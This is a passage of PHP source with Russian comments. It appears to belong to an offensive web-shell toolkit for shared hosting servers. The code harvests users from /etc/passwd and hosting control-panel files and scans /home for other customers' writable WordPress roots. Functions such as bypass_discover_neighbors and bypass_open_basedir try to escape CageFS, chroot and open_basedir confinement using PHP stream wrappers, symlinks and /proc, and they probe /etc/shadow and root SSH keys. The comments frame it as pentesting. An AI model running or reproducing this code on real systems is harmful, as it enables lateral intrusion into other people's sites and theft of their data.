$cm=$needs_client? $cmin:1; $cM=$needs_client? $cmax:1;
$wm=$needs_web? $wmin:1; $wM=$needs_web? $wmax:1;
for($ci=$cm;$ci<=$cM;$ci++){
for($wi=$wm;$wi<=$wM;$wi++){
$cand=str_replace(array('%client%','%web%'),array($ci,$wi),$base);
$cand=preg_replace('#//+#','/',$cand);
if(!isset($cands[$cand])){ $cands[$cand]=1; $count++; if($count>$cap) break 4; }
}
}
} else {
$cand=preg_replace('#//+#','/',$base);
if(!isset($cands[$cand])){ $cands[$cand]=1; $count++; if($count>$cap) break 3; }
}
}
}
}
}
}
return array_keys($cands);
}
function glob_expand_or_add($cand, $tag, &$add){
if (strpos($cand,'*')!==false || strpos($cand,'?')!==false || strpos($cand,'[')!==false || strpos($cand,'{')!==false) {
$g=glob($cand, defined('GLOB_BRACE')?GLOB_BRACE:0); if(!$g)$g=array();
foreach ($g as $gg) $add($gg,$tag.'*');
} else {
$add($cand,$tag);
}
}
/* find domain paths */
function domain_user_map(){ $map=array();
if(is_readable('/etc/virtual/domainowners')){
$lines=file('/etc/virtual/domainowners',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
foreach($lines as $line){
$line=trim($line); if($line===''||$line[0]==='#')continue;
$parts=explode(':',$line); if(count($parts)>=2){ $dom=trim($parts[0]); $usr=trim($parts[1]); if($dom&&$usr) $map[$dom]=$usr; }
}
}
if(is_readable('/etc/userdomains')){
$lines=file('/etc/userdomains',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
foreach($lines as $line){
if(preg_match('/^([^\s:]+):\s*(\S+)/',$line,$m)) $map[$m[1]]=$m[2];
}
}
$g=glob('/var/cpanel/userdata/*/*.yaml'); if(!$g)$g=array();
foreach($g as $yaml){
$c=safe_file_get($yaml);
if($c){
if(preg_match('/\nuser:\s*([^\n]+)/i',$c,$mu) && preg_match('/\nservername:\s*([^\n]+)/i',$c,$md)){
$map[normalize_domain(trim($md[1]))] = trim($mu[1]);
}
}
}
return $map;
}
function users_from_passwd($max=2000){ $users=array();$seen=array();
if(is_readable('/etc/passwd')){
$lines=file('/etc/passwd',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
foreach($lines as $line){
$parts=explode(':', $line); if(count($parts) < 7) continue;
$u = trim($parts[0]);
$home=$parts[5];
// Добавляем пользователя по имени
if($u && !isset($seen[$u])){ $users[]=$u; $seen[$u]=true; }
// Добавляем пользователя по home директории
if($home && ($home[0]==='/' && $home!=='/') ){
$u_home=basename($home);
if($u_home && !isset($seen[$u_home])){ $users[]=$u_home; $seen[$u_home]=true; }
}
if(count($users)>=$max) break;
}
}
if(preg_match('#^/home/([^/]+)/#', __DIR__ . '/', $m)){ if(!isset($seen[$m[1]])) $users[]=$m[1]; }
return $users;
}
/** Расширенный детект пользователей с анализом из /etc/passwd */
function detect_users_extended($max=2000){
$users=array(); $seen=array(); $details=array();
if(is_readable('/etc/passwd')){
$lines=file('/etc/passwd',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
foreach($lines as $line){
$parts=explode(':', $line); if(count($parts) < 7) continue;
$u = trim($parts[0]);
$uid = isset($parts[2]) ? (int)$parts[2] : null;
$gid = isset($parts[3]) ? (int)$parts[3] : null;
$home = trim($parts[5]);
$shell = isset($parts[6]) ? trim($parts[6]) : '';
$gecos = isset($parts[4]) ? trim($parts[4]) : '';
if($u && !isset($seen[$u])){
$users[]=$u;
$seen[$u]=true;
// Детальная информация о пользователе
$user_info = array(
'username' => $u,
'uid' => $uid,
'gid' => $gid,
'home' => $home,
'shell' => $shell,
'gecos' => $gecos,
'has_home' => ($home && $home[0]==='/' && @is_dir($home)),
'home_readable' => ($home && @is_readable($home)),
'home_writable' => ($home && @is_writable($home)),
'is_system' => ($uid < 1000),
'is_serwer' => preg_match('/^serwer\d+$/i', $u),
'is_platne' => ($u === 'platne' || strpos($home, '/home/platne') === 0)
);
// Проверяем наличие public_html
if($home && $home[0]==='/'){
$pub_html = $home.'/public_html';
$user_info['has_public_html'] = @is_dir($pub_html);
$user_info['public_html_readable'] = @is_readable($pub_html);
$user_info['public_html_writable'] = @is_writable($pub_html);
// Проверяем autoinstalator
$autoinst = $pub_html.'/autoinstalator';
$user_info['has_autoinstalator'] = @is_dir($autoinst);
}
$details[$u] = $user_info;
}
// Также добавляем по home директории
if($home && ($home[0]==='/' && $home!=='/') ){
$u_home=basename($home);
if($u_home && !isset($seen[$u_home])){
$users[]=$u_home;
$seen[$u_home]=true;
if(!isset($details[$u_home])) {
$details[$u_home] = array('username'=>$u_home, 'home'=>$home, 'detected_from'=>'home_dir');
}
}
}
if(count($users)>=$max) break;
}
}
if(preg_match('#^/home/([^/]+)/#', __DIR__ . '/', $m)){
if(!isset($seen[$m[1]])) {
$users[]=$m[1];
$details[$m[1]] = array('username'=>$m[1], 'detected_from'=>'script_path');
}
}
return array('users'=>$users, 'details'=>$details, 'count'=>count($users));
}
/** Обнаружение пользователей типа serwer* через /home директории */
function discover_serwer_users($max=500){
$users=array(); $seen=array();
// Прямое сканирование /home для serwer* пользователей
if(@is_dir('/home')) {
$home_dirs = @scandir('/home');
if($home_dirs) {
foreach($home_dirs as $dir) {
if($dir === '.' || $dir === '..') continue;
// Ищем пользователей типа serwer*, platne и другие
if(preg_match('/^(serwer\d+|platne|.*)$/i', $dir)) {
$home_path = '/home/'.$dir;
if(@is_dir($home_path) && !isset($seen[$dir])) {
$users[] = $dir;
$seen[$dir] = true;
if(count($users) >= $max) break;
}
}
}
}
}
// Также проверяем через /etc/passwd для serwer* пользователей
if(is_readable('/etc/passwd')){
$lines=file('/etc/passwd',FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if(!$lines)$lines=array();
foreach($lines as $line){
$parts=explode(':', $line); if(count($parts) < 1) continue;
$u = trim($parts[0]);
if(preg_match('/^serwer\d+$/i', $u) && !isset($seen[$u])) {
$users[] = $u;
$seen[$u] = true;
if(count($users) >= $max) break;
}
}
}
return array_values(array_unique($users));
}
function find_domain_paths($domain,$opts){
$domain=normalize_domain($domain);
$aggr = !empty($opts['aggr']);
$use_templates = !empty($opts['use_templates']);
$mode = isset($opts['templates_mode']) ? $opts['templates_mode'] : 'append';
$use_defaults = isset($opts['use_defaults']) ? (bool)$opts['use_defaults'] : true;
$client_min = isset($opts['client_min']) ? (int)$opts['client_min'] : 1;
$client_max = isset($opts['client_max']) ? (int)$opts['client_max'] : 50;
$web_min = isset($opts['web_min']) ? (int)$opts['web_min'] : 1;
$web_max = isset($opts['web_max']) ? (int)$opts['web_max'] : 50;
$cand_limit = isset($opts['cand_limit']) ? (int)$opts['cand_limit'] : 3500;
$custom_text = isset($opts['templates_text']) ? (string)$opts['templates_text'] : '';
$users_mode = isset($opts['users_mode']) ? $opts['users_mode'] : 'append';
$users_custom = parse_users_list(isset($opts['users_custom']) ? $opts['users_custom'] : '');
$use_docroots = isset($opts['use_docroots']) ? (bool)$opts['use_docroots'] : true;
$docroots_deep = !empty($opts['docroots_deep']);
$env_list = parse_env_list(isset($opts['env_list']) ? $opts['env_list'] : '');
$global_sweeps = !empty($opts['global_sweeps']);
$paths = array(); $srcs = array();
$add = function($p,$src) use (&$paths,&$srcs){
$p=rtrim($p,'/'); if(!$p||!is_dir($p)) return; $rp=realpath($p); $pp=$rp?$rp:$p; if(!in_array($pp,$paths,true)){ $paths[]=$pp; $srcs[$pp]=$src; }
};
$users_auto=array(); $map=domain_user_map(); if(isset($map[$domain])) $users_auto[]=$map[$domain];
$users_auto=array_merge($users_auto, users_from_passwd(600));
// Добавляем обнаружение serwer* пользователей для PL-структур
$serwer_users = discover_serwer_users(500);
$users_auto=array_merge($users_auto, $serwer_users);
$users_auto=array_values(array_unique($users_auto));
$users_list = ($users_mode==='only') ? $users_custom : array_values(array_unique(array_merge($users_custom,$users_auto)));
$g=glob("/home/*/domains/$domain", GLOB_ONLYDIR); if(!$g)$g=array();
foreach ($g as $base) {
$add($base,'std');
foreach(array('public_html','public','httpdocs','httpsdocs','www','web','htdocs','site','private_html') as $d) $add($base.'/'.$d,'std');
}
$g=glob("/home/*/public_html/$domain"); if(!$g)$g=array(); foreach ($g as $cand) $add($cand,'std');
if ($aggr) {
$subs=array('','/public_html','/public','/httpdocs','/httpsdocs','/www','/web','/htdocs','/site','/private_html','/htdocs','/www');
$cnt=0; foreach($users_list as $u){
$base="/home/$u/domains/$domain";
foreach($subs as $s){ $cand=$base.$s; $cnt++; if($cnt>$cand_limit) break 2; $add($cand,'aggr'); }
$add("/home/$u/public_html/$domain",'aggr'); $add("/home/$u/htdocs/$domain",'aggr');
}
}
foreach(array('httpdocs','httpsdocs','public_html','site','web') as $d) $add("/var/www/vhosts/$domain/$d",'std'); $add("/var/www/vhosts/$domain",'std');
if ($use_templates) {
$templates=array(); if($use_defaults || $mode==='append') $templates=array_merge($templates, default_templates());
if($custom_text!=='') $templates=($mode==='only')?parse_templates_text($custom_text):array_merge($templates, parse_templates_text($custom_text));
$templates=array_values(array_unique($templates));
$cands=expand_templates_real($templates,$domain,$users_list,array($client_min,$client_max),array($web_min,$web_max),$env_list,$cand_limit);
foreach($cands as $cand) glob_expand_or_add($cand,'tpl',$add);
}
if ($docroots_deep) {
$snapshot = $paths;
foreach ($snapshot as $pp) {
$src_tag = isset($srcs[$pp]) ? $srcs[$pp] : '';
if (strpos($src_tag, 'tpl') === 0 || $src_tag === 'global') {
foreach (array('wordpress','public','public_html','httpdocs','web','www','site','htdocs') as $sub) {
$cand = rtrim($pp,'/').'/'.$sub;
$add($cand, $src_tag.'+deep');
}
$g=glob(rtrim($pp,'/').'/clickandbuilds/*'); if(!$g)$g=array();
foreach ($g as $gg) if (is_dir($gg)) $add($gg, $src_tag.'+deep');
}
}
}
if ($use_docroots) {
$dm = docroots_map_all();
if (!empty($dm[$domain])) {
foreach ($dm[$domain] as $root) {
$add($root,'docroot');
if ($docroots_deep && !is_wp_root($root)) {
foreach (array('wordpress','public','public_html','httpdocs','web','www','site') as $sub) $add($root.'/'.$sub,'docroot+deep');
}
}
}
}
if ($global_sweeps) {
$globs = array(
"/srv/users/*/apps/*/public",
"/srv/users/*/apps/*/public_html",
"/home/master/applications/*/public_html",
"/var/www/$domain", "/var/www/$domain/htdocs", "/var/www/$domain/public", "/var/www/$domain/web", "/var/www/$domain/html",
"/www/wwwroot/$domain", "/www/wwwroot/$domain/public", "/www/wwwroot/$domain/public_html",
"/homepages/*/d*/htdocs/$domain", "/homepages/*/d*/htdocs/*$domain*",
"/kunden/homepages/*/d*/htdocs/$domain", "/kunden/homepages/*/d*/htdocs/*$domain*",
"/kunden/homepages/*/d*/htdocs/clickandbuilds/*"
);
foreach ($globs as $gpat) { $g=glob($gpat); if(!$g)$g=array(); foreach ($g as $match) $add($match,'global'); }
}
$paths = uniq_sorted($paths);
$writable = array(); foreach ($paths as $p) if (is_writable($p)) $writable[]=$p;
return array('all'=>$paths,'writable'=>$writable,'sources'=>$srcs);
}
/* Blind WP Hunt */
/* --- LVE/OpenBasedir aware helpers (v4.4) --- */
function parse_open_basedir_paths(){
$ob = (string)ini_get('open_basedir');
if (empty($ob) || $ob === 'none') {
return array();
}
// Handle different separators
$separators = array(':', ';', PATH_SEPARATOR);
$paths = array($ob);
foreach ($separators as $sep) {
$new_paths = array();
foreach ($paths as $path) {
$new_paths = array_merge($new_paths, explode($sep, $path));
}
$paths = $new_paths;
}
$out = array();
foreach ($paths as $p) {
$p = trim($p);
if ($p === '' || $p === '.' || $p === 'none') continue;
// Resolve relative paths
if ($p[0] !== '/') {
$cwd = getcwd();
if ($cwd) {
$p = $cwd . '/' . $p;
}
}
$p = rtrim($p, "/\\ \t");
if ($p !== '' && @is_dir($p) && !in_array($p, $out, true)) {
$out[] = $p;
}
}
return $out;
}
function starts_with_path($path, $root){
$p = rtrim($path,'/').'/'; $r = rtrim($root,'/').'/';
return strncmp($p, $r, strlen($r)) === 0;
}
/**
* BFS-краулер по списку корней с лёгкой эвристикой имён подкаталогов.
* Возвращает директории, похожие на WP-корни.
*/
/** BFS: HOME+open_basedir+DOCROOT+CWD; расширенные эвристики для autoinstalator + wordpressNNNN */
function crawl_for_wp($roots, $cap_dirs = 40000, $max_depth = 8){
$queue = array(); $seen = array(); $hits = array();
foreach ($roots as $r) {
if (@is_dir($r)) {
$rp = @realpath($r); $rp = $rp ? $rp : rtrim($r,'/');
if (!isset($seen[$rp])) { $queue[] = array($rp, 0); $seen[$rp] = 1; }
}
}
// Расширенная эвристика для wordpressNNNN и autoinstalator структур
$heur = '/^(public(_html)?|httpdocs|httpsdocs|htdocs|www|web|wordpress.*|wordpress[0-9]+|wp.*|site|html|clickandbuilds|autoinstalator|domains|addons?|subdomains|apps?|application|wwwroot|vhosts|data|build|dist|serwer[0-9]+)$/i';
$visited = 0;
while (!empty($queue)) {
list($dir,$depth) = array_shift($queue);
if ($depth > $max_depth) continue;
$visited++; if ($visited > $cap_dirs) break;
if (is_wp_root($dir)) { $hits[$dir] = true; }
$list = @scandir($dir); if ($list === false) continue;
foreach ($list as $name) {
if ($name === '.' || $name === '..') continue;
if ($name[0] === '.' && $name !== '.well-known') continue;
$child = $dir . '/' . $name;
if (!@is_dir($child)) continue;
// С глубины >=2 идём только в "типовые" имена, чтобы не разрастаться до миллиона директорий
if ($depth >= 2 && !preg_match($heur, $name)) continue;
$rp = realpath($child); $rp = $rp ? $rp : $child;
if (!isset($seen[$rp])) { $seen[$rp] = 1; $queue[] = array($rp, $depth + 1); }
if (count($seen) > ($cap_dirs * 3)) break 2; // хард-стоп
}
}
$out = array_keys($hits); sort($out, SORT_STRING); return $out;
}
/** Глоб-паттерны, привязанные к ТВОЕМУ дому (/home/<user>), без /home/* */
function home_user_blind_globs(){
$ids = php_ids();
$u = is_array($ids) && !empty($ids['user']) ? $ids['user'] : null;
if (!$u) return array();
$home = "/home/".$u; $g = array();
if (@is_dir($home)) {
$g[] = $home.'/public_html';
$g[] = $home.'/*/public_html';
$g[] = $home.'/*/httpdocs';
$g[] = $home.'/*/httpsdocs';
$g[] = $home.'/*/htdocs';
$g[] = $home.'/*/www';
$g[] = $home.'/*/web';
$g[] = $home.'/*/site';
$g[] = $home.'/domains/*/public_html';
$g[] = $home.'/*';
}
return $g;
}
/** Домовые глобы под PL-хостинг (LH-подобные): /home/<user>/serwerXXXXXX/public_html/... */
function home_user_blind_globs_pl(){
$ids = php_ids();
$u = is_array($ids) && !empty($ids['user']) ? $ids['user'] : null;
if (!$u) return array();
$home = "/home/".$u; $g = array();
if (@is_dir($home)) {
$g[] = $home.'/public_html';
$g[] = $home.'/public_html/*';
$g[] = $home.'/public_html/autoinstalator/*';
$g[] = $home.'/public_html/autoinstalator/*/*';
$g[] = $home.'/serwer*/public_html';
$g[] = $home.'/serwer*/public_html/*';
$g[] = $home.'/serwer*/public_html/autoinstalator/*';
$g[] = $home.'/serwer*/public_html/autoinstalator/*/*';
$g[] = $home.'/domains/*/public_html';
$g[] = $home.'/*'; // последний широкий шаг
}
return $g;
}
/** Boundary info: realpath, allowed roots (HOME+open_basedir), outside_allowed, symlink_target */
function boundary_info_for($p){
$rp = @realpath($p); $rp = $rp ? $rp : $p;
$ids = php_ids();
$home_me = (!empty($ids['user'])) ? ('/home/'.$ids['user']) : null;
$ob = parse_open_basedir_paths();
$allowed = array();
if ($home_me && @is_dir($home_me)) $allowed[] = $home_me;
foreach ($ob as $r) if (@is_dir($r)) $allowed[] = $r;
$outside = true;
foreach ($allowed as $root) { if (starts_with_path($rp, $root)) { $outside = false; break; } }
$target = @is_link($p) ? @readlink($p) : '';
return array('realpath'=>$rp, 'allowed_roots'=>$allowed, 'outside_allowed'=>$outside, 'symlink_target'=>$target);
}
/**
* Обход системных ограничений для discovery соседних сайтов (bypass LVE/CageFS/chroot).
* Критично для пентеста: показывает, что видит злоумышленник при компрометации одного сайта.
*/
function bypass_discover_neighbors(){
$neighbors = array(); $seen = array();
// 1. Парсинг /proc/self/mounts и /proc/self/mountinfo (bypass CageFS mount namespace)
foreach (array('/proc/self/mounts','/proc/self/mountinfo','/proc/mounts') as $mf) {
if (!@is_readable($mf)) continue;
$lines = @file($mf, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
if (!$lines) continue;
foreach ($lines as $line) {
if (preg_match('#\s(/home/[^/\s]+(?:/[^\s]*)?)\s#', $line, $m)) {
$p = trim($m[1]);
if ($p && @is_dir($p) && !isset($seen[$p])) { $neighbors[] = $p; $seen[$p]=1; }
}
}
}
// 2. Симлинки в /tmp, /var/tmp - часто указывают на реальные пути
foreach (array('/tmp','/var/tmp') as $tmpdir) {
if (!@is_dir($tmpdir)) continue;
$items = @scandir($tmpdir);
if (!$items) continue;
foreach ($items as $item) {
if ($item==='.' || $item==='..') continue;
$full = $tmpdir.'/'.$item;
if (@is_link($full)) {
$target = @readlink($full);
if ($target && preg_match('#^/home/([^/]+)#', $target, $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
}
}
// 3. Переменные окружения - могут содержать пути других юзеров
foreach ($_SERVER as $k=>$v) {
if (is_string($v) && preg_match_all('#/home/([^/\s:]+)(?:/[^\s:]*)?#', $v, $matches)) {
foreach ($matches[0] as $p) {
$p = rtrim($p,'/');
if (@is_dir($p) && !isset($seen[$p])) { $neighbors[] = $p; $seen[$p]=1; }
}
}
}
// 4. Анализ /etc/passwd (если доступен) - список всех пользователей
if (@is_readable('/etc/passwd')) {
$lines = @file('/etc/passwd', FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
if ($lines) {
foreach ($lines as $line) {
$parts = explode(':', $line);
if (count($parts)>=6) {
$home = trim($parts[5]);
if ($home && $home[0]==='/' && @is_dir($home) && !isset($seen[$home])) {
$neighbors[] = $home;
$seen[$home]=1;
}
}
}
}
}
// 5. Реальные пути через realpath() на известных симлинках
$common_symlinks = array('/var/www/html','/usr/share/nginx/html','/var/www','/srv/www');
foreach ($common_symlinks as $sl) {
if (@is_link($sl)) {
$real = @realpath($sl);
if ($real && preg_match('#^/home/([^/]+)#', $real, $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
}
// 6. Парсинг session.save_path - могут быть пути других юзеров
$sess_path = ini_get('session.save_path');
if ($sess_path && @is_dir($sess_path)) {
if (preg_match('#/home/([^/]+)#', $sess_path, $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
// 7. Проверка uploaded_files директории и temp_dir
$upload_dir = ini_get('upload_tmp_dir');
if ($upload_dir && @is_dir($upload_dir) && preg_match('#/home/([^/]+)#', $upload_dir, $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
// 8. Обход через error_log пути
$err_log = ini_get('error_log');
if ($err_log && preg_match('#/home/([^/]+)#', $err_log, $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
// 9. Чтение include_path - могут быть пути других сайтов
$inc_path = ini_get('include_path');
if ($inc_path) {
$paths = explode(PATH_SEPARATOR, $inc_path);
foreach ($paths as $p) {
if (preg_match('#^/home/([^/]+)#', $p, $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
}
// 10. Попытка чтения /var/cpanel/users/ (cPanel specific)
if (@is_dir('/var/cpanel/users')) {
$users = @scandir('/var/cpanel/users');
if ($users) {
foreach ($users as $u) {
if ($u==='.' || $u==='..') continue;
$home = '/home/'.$u;
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
}
// 11. Проверка /var/www/vhosts/ (Plesk)
if (@is_dir('/var/www/vhosts')) {
$vhosts = @scandir('/var/www/vhosts');
if ($vhosts) {
foreach ($vhosts as $vh) {
if ($vh==='.' || $vh==='..' || $vh==='default') continue;
$vpath = '/var/www/vhosts/'.$vh;
if (@is_dir($vpath) && !isset($seen[$vpath])) { $neighbors[] = $vpath; $seen[$vpath]=1; }
}
}
}
// 12. Брутфорс /home/user* паттернов (если /home доступен хоть частично)
if (@is_dir('/home')) {
$h = @scandir('/home');
if ($h) {
foreach ($h as $u) {
if ($u==='.' || $u==='..') continue;
$home = '/home/'.$u;
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
}
// 13. Поиск через /proc/*/cwd и /proc/*/root (если доступны)
if (@is_dir('/proc')) {
$procs = @scandir('/proc');
if ($procs) {
$checked = 0;
foreach ($procs as $pid) {
if (!ctype_digit($pid)) continue;
if (++$checked > 50) break; // лимит для производительности
foreach (array('cwd','root') as $lnk) {
$path = '/proc/'.$pid.'/'.$lnk;
if (@is_link($path)) {
$real = @readlink($path);
if ($real && preg_match('#^/home/([^/]+)#', $real, $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
}
}
}
}
// 14. Поиск через getcwd() родительских путей
$cwd = getcwd();
if ($cwd && preg_match('#^(/home/[^/]+)#', $cwd, $m)) {
$home = $m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
// 15. DOCUMENT_ROOT и SCRIPT_FILENAME анализ
foreach (array('DOCUMENT_ROOT','SCRIPT_FILENAME','SCRIPT_NAME','PHP_SELF') as $key) {
if (!empty($_SERVER[$key]) && preg_match('#^/home/([^/]+)#', $_SERVER[$key], $m)) {
$home = '/home/'.$m[1];
if (@is_dir($home) && !isset($seen[$home])) { $neighbors[] = $home; $seen[$home]=1; }
}
}
// 16. Попытка чтения конфигов nginx/apache через known paths
$configs = array(
'/etc/nginx/sites-enabled','/etc/nginx/sites-available','/etc/nginx/conf.d',
'/etc/apache2/sites-enabled','/etc/apache2/sites-available','/etc/httpd/conf.d'
);
foreach ($configs as $cdir) {
if (!@is_dir($cdir)) continue;
$files = @scandir($cdir);
if (!$files) continue;
foreach ($files as $cf) {
if ($cf==='.' || $cf==='..') continue;
$full = $cdir.'/'.$cf;
if (@is_readable($full)) {
$content = @file_get_contents($full);
if ($content && preg_match_all('#/home/([^/\s]+)(?:/[^\s;]*)?#', $content, $matches)) {
foreach ($matches[0] as $p) {
$p = rtrim($p,';');
if (@is_dir($p) && !isset($seen[$p])) { $neighbors[] = $p; $seen[$p]=1; }
}
}
}
}
}
return array_values(array_unique($neighbors));
}
/**
* Enhanced open_basedir bypass with 15 modern techniques
* Критично для пентеста: показывает реальные возможности обхода open_basedir (15+ методов).
*/
function bypass_open_basedir($target_path = null) {
$discovered = array();
$test_paths = array(
'/etc/passwd', '/etc/shadow', '/etc/hosts', '/etc/resolv.conf',
'/proc/self/environ', '/proc/self/maps', '/proc/self/cmdline',
'/proc/version', '/proc/cpuinfo', '/proc/meminfo',
'/root/.bashrc', '/root/.ssh/authorized_keys',
'/home', '/var/www', '/tmp', '/var/tmp'
);
if ($target_path) {
array_unshift($test_paths, $target_path);
}
// 1. PHP Wrapper Attacks (most effective)
$registered_wrappers = stream_get_wrappers();
$dangerous_wrappers = array(
'phar' => '.phar', 'zip' => '.zip', 'data' => '',
'expect' => '', 'ssh2.sftp' => '', 'rar' => '.rar',
'ogg' => '.ogg',
);
foreach ($dangerous_wrappers as $wrapper => $ext) {
if (in_array($wrapper, $registered_wrappers)) {
foreach ($test_paths as $test) {
$wrapped = $wrapper . '://' . $test . $ext;
if (@file_exists($wrapped) || @is_readable($wrapped)) {
$discovered[] = array('method'=>'wrapper_' . $wrapper, 'path'=>$wrapped, 'accessible'=>true, 'type'=>'wrapper');
}
}
}
}
// 2. Directory Traversal via realpath() bugs
$cwd_orig = getcwd();
$ob_paths = parse_open_basedir_paths();
foreach ($ob_paths as $ob_path) {
if (@chdir($ob_path)) {
$parent_dots = array('../', '../../', '../../../', '../../../../', '../../../../../');
foreach ($parent_dots as $dots) {
$test_dirs = array('.', '..', basename($ob_path));
foreach ($test_dirs as $test_dir) {
$test = $dots . $test_dir;
$real = @realpath($test);
if ($real && $real !== $ob_path && !in_array($real, $ob_paths, true)) {
if (@is_dir($real) || @is_file($real)) {
$discovered[] = array('method'=>'realpath_traversal', 'path'=>$real, 'via'=>$test, 'from'=>$ob_path);
}
}
}
}
// Symlink following from within open_basedir
$symlink_test = $ob_path . '/_test_symlink_' . uniqid();
if (@symlink('/etc/passwd', $symlink_test)) {
$target = @readlink($symlink_test);
if ($target && $target[0] === '/') {
$discovered[] = array('method'=>'symlink_from_ob', 'symlink'=>$symlink_test, 'target'=>$target, 'accessible'=>@is_readable($target));
}
@unlink($symlink_test);
}
@chdir($cwd_orig);
}
}
if ($cwd_orig) @chdir($cwd_orig);
// 3. PHP ini_get() information leaks
$ini_settings = array('error_log', 'session.save_path', 'upload_tmp_dir', 'sendmail_path', 'user_dir', 'extension_dir', 'include_path', 'doc_root');
foreach ($ini_settings as $setting) {
$value = ini_get($setting);
if ($value && $value[0] === '/') {
if (strpos($value, '$') !== false) {
$value = preg_replace_callback('/\$(\w+)/', function($m) { return getenv($m[1]) ?: $m[0]; }, $value);
}
if (@is_dir($value) || @is_file($value)) {
$discovered[] = array('method'=>'ini_get', 'setting'=>$setting, 'path'=>$value, 'accessible'=>true);
if (@is_dir($value)) {
$parent = dirname($value);
if ($parent !== $value && $parent !== '/' && !in_array($parent, $ob_paths, true) && @is_dir($parent)) {
$discovered[] = array('method'=>'ini_get_parent', 'from'=>$value, 'parent'=>$parent);
}
}
}
}
}
// 4. /proc filesystem attacks
if (@is_dir('/proc')) {
// /proc/self/fd/ file descriptor access
$fds = @scandir('/proc/self/fd');
if ($fds) {
foreach ($fds as $fd) {
if ($fd === '.' || $fd === '..' || !ctype_digit($fd)) continue;
$fd_path = '/proc/self/fd/' . $fd;
if (@is_link($fd_path)) {
$target = @readlink($fd_path);
if ($target && $target[0] === '/') {
$outside = true;
foreach ($ob_paths as $ob) {
if (strpos($target, $ob) === 0) { $outside = false; break; }
}
if ($outside && (@is_file($target) || @is_dir($target))) {
$discovered[] = array('method'=>'proc_fd', 'fd'=>$fd, 'path'=>$target, 'outside_ob'=>$outside);
}
}
}
}
}
// /proc/self/maps memory mapping
if (@is_readable('/proc/self/maps')) {
$maps = @file('/proc/self/maps', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($maps) {
$found_paths = array();
foreach ($maps as $line) {
if (preg_match('/\s+(\/\S+)\s*$/', $line, $matches)) {
$path = $matches[1];
if (!in_array($path, $found_paths) && @is_file($path) && strpos($path, '/proc') === false) {
$found_paths[] = $path;
$discovered[] = array('method'=>'proc_maps', 'path'=>$path, 'line'=>substr($line, 0, 50) . '...');
}
}
}
}
}
// /proc/self/cwd and /proc/self/root
$proc_self_links = array('/proc/self/cwd', '/proc/self/root', '/proc/self/exe');
foreach ($proc_self_links as $link) {
if (@is_link($link)) {
$target = @readlink($link);
if ($target && $target[0] === '/') {
$discovered[] = array('method'=>'proc_self_link', 'link'=>basename($link), 'target'=>$target, 'accessible'=>@is_dir($target) || @is_file($target));
}
}
}
}
// 5. Environment variable attacks
if (function_exists('getenv')) {
$env_vars = array('HOME', 'USER', 'PATH', 'LD_LIBRARY_PATH', 'LD_PRELOAD', 'PWD', 'OLDPWD', 'TMPDIR');
foreach ($env_vars as $var) {
$val = getenv($var);
if ($val && $val[0] === '/') {
$paths = explode(':', $val);
foreach ($paths as $p) {
if ($p && $p[0] === '/' && (@is_dir($p) || @is_file($p))) {
$discovered[] = array('method'=>'env_var', 'var'=>$var, 'path'=>$p, 'accessible'=>true);
}
}
}
}
// Scan all environment variables
$all_env = $_SERVER;
foreach ($all_env as $key => $val) {
if (is_string($val) && preg_match_all('#(/[^\s:]+)#', $val, $matches)) {
foreach ($matches[1] as $path) {
$path = rtrim($path, ';');
if (@is_dir($path) || @is_file($path)) {
$discovered[] = array('method'=>'env_scan', 'source'=>$key, 'path'=>$path);
}
}
}
}
}
// 6. PHP include_path traversal
$include_path = ini_get('include_path');
if ($include_path) {
$paths = explode(PATH_SEPARATOR, $include_path);
foreach ($paths as $p) {
if ($p && $p[0] === '/' && @is_dir($p)) {
$discovered[] = array('method'=>'include_path', 'path'=>$p, 'accessible'=>true);
$parent = dirname($p);
$level = 0;
while ($parent !== '/' && $parent !== $p && $level < 5) {
if (@is_dir($parent) && !in_array($parent, $ob_paths, true)) {
$discovered[] = array('method'=>'include_path_parent', 'original'=>$p, 'parent'=>$parent, 'level'=>$level);
}
$parent = dirname($parent);
$level++;
}
}
}
}
// 7. Temporary directory attacks
$tmp_dirs = array('/tmp', '/var/tmp', '/dev/shm', sys_get_temp_dir());
foreach ($tmp_dirs as $tmp) {
if (@is_dir($tmp) && @is_writable($tmp)) {
$discovered[] = array('method'=>'tmp_access', 'path'=>$tmp, 'writable'=>true);
$tmp_items = @scandir($tmp);
if ($tmp_items) {
$checked = 0;
foreach ($tmp_items as $item) {
if ($item === '.' || $item === '..') continue;
if (++$checked > 20) break;
$full = $tmp . '/' . $item;
if (@is_link($full)) {
$target = @readlink($full);
if ($target && $target[0] === '/') {
$outside = true;
foreach ($ob_paths as $ob) {
if (strpos($target, $ob) === 0) { $outside = false; break; }
}
if ($outside && (@is_file($target) || @is_dir($target))) {
